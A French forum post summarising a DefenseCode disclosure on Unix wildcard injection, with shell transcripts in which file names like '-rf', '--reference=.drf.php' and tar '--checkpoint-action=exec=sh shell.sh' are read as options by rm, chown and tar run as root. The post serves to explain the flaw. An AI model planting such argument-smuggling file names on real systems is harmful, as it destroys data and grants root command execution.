Bonjour à tous
Voilà, Il n'y a pas si longtemps que ça un des chercheurs en sécurité informatique (Léon) de chez codeDefense à publier dans une note une série de vulnérabilité affectant les systèmes basés sur UNIX.
Cette vulnérabilité, plutôt astucieuse et vieille école, utilise le caractère "*' (wildcards) qui permettrait à un pirate informatique d'injecter des commandes au shell par l'intermédiaire de la manipulation des fichiers. Elle pourrait même être utilisée pour faire une élévation de privilège si l'utilisateur du shell est en mode root.

Cette vulnérabilité affecte également des scripts mal conçus ce qui peut être dangereux s'il est exécuté sur une machine de production (serveur). Cette attaque astucieuse exploite le fait qu'un fichier soit nommé de façon intelligible pour que le shell puisse l'interpréter comme un argument complémentaire à la commande émise.

Code shell : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
[root@defensecode public]# ls -al
total 20
drwxrwxr-x.  5 leon   leon   4096 Oct 28 17:04 .
drwx------. 22 leon   leon   4096 Oct 28 16:15 ..
drwxrwxr-x.  2 leon   leon   4096 Oct 28 17:04 DIR1
drwxrwxr-x.  2 leon   leon   4096 Oct 28 17:04 DIR2
drwxrwxr-x.  2 leon   leon   4096 Oct 28 17:04 DIR3
-rw-rw-r--.  1 leon   leon      0 Oct 28 17:03 file1.txt
-rw-rw-r--.  1 leon   leon      0 Oct 28 17:03 file2.txt
-rw-rw-r--.  1 leon   leon      0 Oct 28 17:03 file3.txt
-rw-rw-r--.  1 nobody nobody    0 Oct 28 16:38 -rf

Code shell : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
[root@defensecode public]# rm *
[root@defensecode public]# ls -al
total 8
drwxrwxr-x.  2 leon   leon   4096 Oct 28 17:05 .
drwx------. 22 leon   leon   4096 Oct 28 16:15 ..
-rw-rw-r--.  1 nobody nobody    0 Oct 28 16:38 -rf

En remarque aucune demande de confirmation dans un autre cas

Dans l'exemple ci-dessus, Léon démontre qu'un pirate plaçant un fichier dans un répertoire et qu'il le nomme "-rf comme la commande UNIX qui a pour rôle d'effacer de manière récursive et sans demande de confirmation tous les répertoires et fichiers, se voit interprété comme un argument que l'en passe à la commande "rm".
une simple commande de trace prouve que le fichier en question est interprété comme un argument complémentaire.

Code shell : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
[leon@defensecode WILD]$ strace rm *
execve("/bin/rm", ["rm", "DIR1", "DIR2", "DIR3", "file1.txt", "file2.txt", 
"file3.txt", "-rf"], [/* 25 vars */]) = 0
              ^- HERE

Plus encore, l'auteur de la note ne s'arrête pas là, il va utiliser la même procédure pour pouvoir changer tous les droits des fichiers se trouvent dans le répertoire
Code shell : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
[root@defensecode public]# ls -al
total 52
drwxrwxrwx.  2 user user 4096 Oct 28 17:47 .
drwx------. 22 user user 4096 Oct 28 17:34 ..
-rw-rw-r--.  1 user user   66 Oct 28 17:36 admin.php
-rw-rw-r--.  1 user user   34 Oct 28 17:35 ado.php
-rw-rw-r--.  1 user user   80 Oct 28 17:44 config.php
-rw-rw-r--.  1 user user  187 Oct 28 17:44 db.php
-rw-rw-r--.  1 user user  201 Oct 28 17:35 download.php
-rw-r--r--.  1 leon leon    0 Oct 28 17:40 .drf.php
-rw-rw-r--.  1 user user   43 Oct 28 17:35 file1.php
-rw-rw-r--.  1 user user   56 Oct 28 17:47 footer.php
-rw-rw-r--.  1 user user  357 Oct 28 17:36 global.php
-rw-rw-r--.  1 user user  225 Oct 28 17:35 header.php
-rw-rw-r--.  1 user user  117 Oct 28 17:35 inc.php
-rw-rw-r--.  1 user user  111 Oct 28 17:38 index.php
-rw-rw-r--.  1 leon leon    0 Oct 28 17:45 --reference=.drf.php
-rw-rw----.  1 user user   66 Oct 28 17:35 password.inc.php
-rw-rw-r--.  1 user user   94 Oct 28 17:35 script.php

[root@defensecode public]# chown -R nobody:nobody *.php
[root@defensecode public]# ls -al
total 52
drwxrwxrwx.  2 user user 4096 Oct 28 17:47 .
drwx------. 22 user user 4096 Oct 28 17:34 ..
-rw-rw-r--.  1 leon leon   66 Oct 28 17:36 admin.php
-rw-rw-r--.  1 leon leon   34 Oct 28 17:35 ado.php
-rw-rw-r--.  1 leon leon   80 Oct 28 17:44 config.php
-rw-rw-r--.  1 leon leon  187 Oct 28 17:44 db.php
-rw-rw-r--.  1 leon leon  201 Oct 28 17:35 download.php
-rw-r--r--.  1 leon leon    0 Oct 28 17:40 .drf.php
-rw-rw-r--.  1 leon leon   43 Oct 28 17:35 file1.php
-rw-rw-r--.  1 leon leon   56 Oct 28 17:47 footer.php
-rw-rw-r--.  1 leon leon  357 Oct 28 17:36 global.php
-rw-rw-r--.  1 leon leon  225 Oct 28 17:35 header.php
-rw-rw-r--.  1 leon leon  117 Oct 28 17:35 inc.php
-rw-rw-r--.  1 leon leon  111 Oct 28 17:38 index.php
-rw-rw-r--.  1 leon leon    0 Oct 28 17:45 --reference=.drf.php
-rw-rw----.  1 leon leon   66 Oct 28 17:35 password.inc.php
-rw-rw-r--.  1 leon leon   94 Oct 28 17:35 script.php
"—Référence=.drf.php", veut tous simplement dire, que la commande s'applique en utilisant les propriétés du fichier .drf.php comme référence". En un mot, Léon devient le propriétaire de tous les autres fichiers du répertoire pour conclure un exemple complémentaire pour voir l'étendue des dégâts.

Now, for example, root user wants to create archive of all files in current
directory.
Code shell : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
[root@defensecode public]# tar cf archive.tar *

uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Boom! What happened? /usr/bin/id command gets executed! We've just achieved arbitrary command
execution under root privileges.
Once again, there are few files created by user 'leon'.
Code shell : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
-rw-r--r--.  1 leon leon     0 Oct 28 19:19 --checkpoint=1
-rw-r--r--.  1 leon leon     0 Oct 28 19:17 --checkpoint-action=exec=sh shell.sh
-rwxr-xr-x.  1 leon leon    12 Oct 28 19:17 shell.sh

Options '--checkpoint=1' and '--checkpoint-action=exec=sh shell.sh' are passed to the
'tar' program as command line options. Basically, they command tar to execute shell.sh
shell script upon the execution.

[root@defensecode public]# cat shell.sh
/usr/bin/id

So, with this tar argument pollution, we can basically execute arbitrary commands
with privileges of the user that runs tar. As demonstrated on the 'root' account above.
Et vous ? qu'est ce que vous en pensez ?

Source: www.defensecode.com
Brouillon Pièce jointe 152050
à bientôt